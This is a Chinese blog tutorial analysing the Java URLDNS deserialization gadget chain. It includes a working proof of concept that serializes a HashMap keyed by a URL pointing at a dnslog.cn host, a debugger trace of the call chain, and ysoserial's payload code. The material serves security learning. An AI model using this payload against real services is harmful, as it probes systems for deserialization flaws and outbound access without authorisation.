URLDNS


[toc]

前言

拖得挺久蛤,嘿嘿。上篇简单看了 Shiro 的漏洞原理,但是只用了工具没有对反序列化的过程进行深入,本篇文章就先从最简单的 URLDNS gadget 进行学习。通常使用此 gadget 的目的一是探测目标是否存在反序列化漏洞,因为本 gadget 不依赖任何第三方库;二是可以确定目标机器是否可以出网。

利用

先编一个 URLDNS 的利用连,后面再去分析 ysoserial 是怎么生成这个 payload 的

package com.yq1ng;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

/**
 * @author ying
 * @Description
 * @create 2021-10-19 10:38 AM
 */

public class URLDNS {
    public static void main(String[] args) throws Exception {
        //  new一个 HashMap 出来,这是此 gadget 的起点;然后设置需要访问的 url
        HashMap hashMap = new HashMap();
        URL url = new URL("http://8471gk.dnslog.cn");
        //  将私有的 hashCode 设置为可以更改
        Field field = Class.forName("java.net.URL").getDeclaredField("hashCode");
        field.setAccessible(true);
        //  设置 url 对象内的 hashCode 为 0x123(此值任意更改)
        field.set(url, 0x123);
        //  将键值存入 hashMap
        hashMap.put(url, "yq1ng");
        //  设置 url 对象内的 hashCode 为 -1(不可更改,后面会说)
        field.set(url, -1);
        //  序列化,写入文件
        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./out.ser"));
        outputStream.writeObject(hashMap);
        outputStream.close();
        //  反序列化,读取文件
        ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./out.ser"));
        inputStream.readObject();
        inputStream.close();
    }
}

运行后可以在 dnslog 上看到请求

调试

利用链是从 HashMap 开始的,所以 ctrl + n 搜索类名:HashMap

先快速了解一下 HashMap 的作用,大致就是将一个键值对的二维数组转为一维数组,一维数组的下标为 hash(key)

然后直接来到 readObject(),看看主要利用代码

private void readObject(java.io.ObjectInputStream s)
        throws IOException, ClassNotFoundException {
    // 布拉不拉一大堆
	for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
        		// 注意此处计算hash,跟进
                putVal(hash(key), key, value, false, false);
            }
}
static final int hash(Object key) {
        int h;
    	//	继续跟,但是再直接点就进不去了,打个断点跟进去
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

来到 java/net/URL.java.hashCode()

插一句:这里的 handler 是 URLStreamHandler 类的实例。当 hashCode == -1 时才会计算 key 的 hash,这就解释了 poc 中这一句代码:field.set(url, -1);,继续往下看,进入 handler.hashCode(this)

运行到 359 行,看 getHostAddress() 函数名字知道是获取 host 的地址,跟进

762 行就是根据主机名获取其 ip

如果继续跟进去以后可以发现这一段,如果 host 是 IP 那么程序将不必继续下去

梳理

经过上面的调试后来梳理一下利用链:

1. HashMap->readObject()
2. HashMap->hash()
3. URL->hashCode()
4. URLStreamHandler->hashCode()
5. URLStreamHandler->getHostAddress()
6. InetAddress->getByName()

不过还有一个问题,就是 poc 中的 field.set(url, 0x123);。为什么要先修改 url 内的 hashCode 在将 url 存到 HashMap 内呢?答案就在上面,如果不设置 hashCode 不为 -1 的话,那么存入 hashMap 的时候就会触发一次 hash(key),也就是本地生成 poc 会执行一次 DNS 请求,这会对我们的判断造成影响,所以要先设置其不为 -1 ,存入 hashMap 以后再将其变回来,这样只会执行一次 DNS 了

探索

先看 ysoserial 的代码,为了不占篇幅我把部分注释删了

public class URLDNS implements ObjectPayload<Object> {

        public Object getObject(final String url) throws Exception {

                //Avoid DNS resolution during payload creation
                //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
                URLStreamHandler handler = new SilentURLStreamHandler();

                HashMap ht = new HashMap(); // HashMap that will contain the URL
                URL u = new URL(null, url, handler); // URL to use as the Key
                ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

                Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

                return ht;
        }

        public static void main(final String[] args) throws Exception {
                PayloadRunner.run(URLDNS.class, args);
        }

        static class SilentURLStreamHandler extends URLStreamHandler {

                protected URLConnection openConnection(URL u) throws IOException {
                        return null;
                }

                protected synchronized InetAddress getHostAddress(URL u) {
                        return null;
                }
        }
}

它代码中没有使用 field.set(url, 0x123); ,但是自定了一个类为 SilentURLStreamHandler,这个类重写了getHostAddress() 函数,重写后的 getHostAddress() 是个空的,也就导致在本地生成 poc 的时候不会有 DNS 请求了,nice!

参考

JAVA 反序列化-ysoserial-URLDNS


文章作者: yq1ng
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 yq1ng !
评论
  目录